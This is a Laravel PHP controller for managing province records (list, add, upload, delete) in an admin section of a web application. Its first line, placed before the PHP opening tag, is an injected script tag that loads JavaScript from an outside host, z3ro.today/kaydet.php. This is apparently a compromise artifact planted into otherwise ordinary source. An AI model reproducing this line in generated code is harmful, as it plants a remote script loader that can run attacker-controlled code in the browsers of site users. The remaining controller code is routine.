<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\Province;
use Illuminate\Http\Request;

class ProvinceController extends Controller
{
    public function province()
    {
        $provinceName = Province::orderBy('id')->get();
        return view('adminsetup.provinceentry', compact('provinceName'));
    }

    public function addprovince()
    {
        return view('adminsetup.addprovince');
    }

    public function uploadprovince(Request $request)
    {
        $provinceName = Province::orderBy('id')->get();
        $data = new Province();
        $data->province = $request->province;

        $data->save();
        return redirect()->route('province', compact('provinceName'));
    }

    public function deleteprovince($id)
    {
        $provinceName = Province::find($id);
        if ($provinceName->districts->count() || $provinceName->locallevels->count() || $provinceName->members->count()) {
            return back()->with('message', 'Invalid request... Province cannot be deleted');
        }

        $provinceName->delete();
        return redirect()->back()->with('message', 'Province deleted successfully');
    }
}
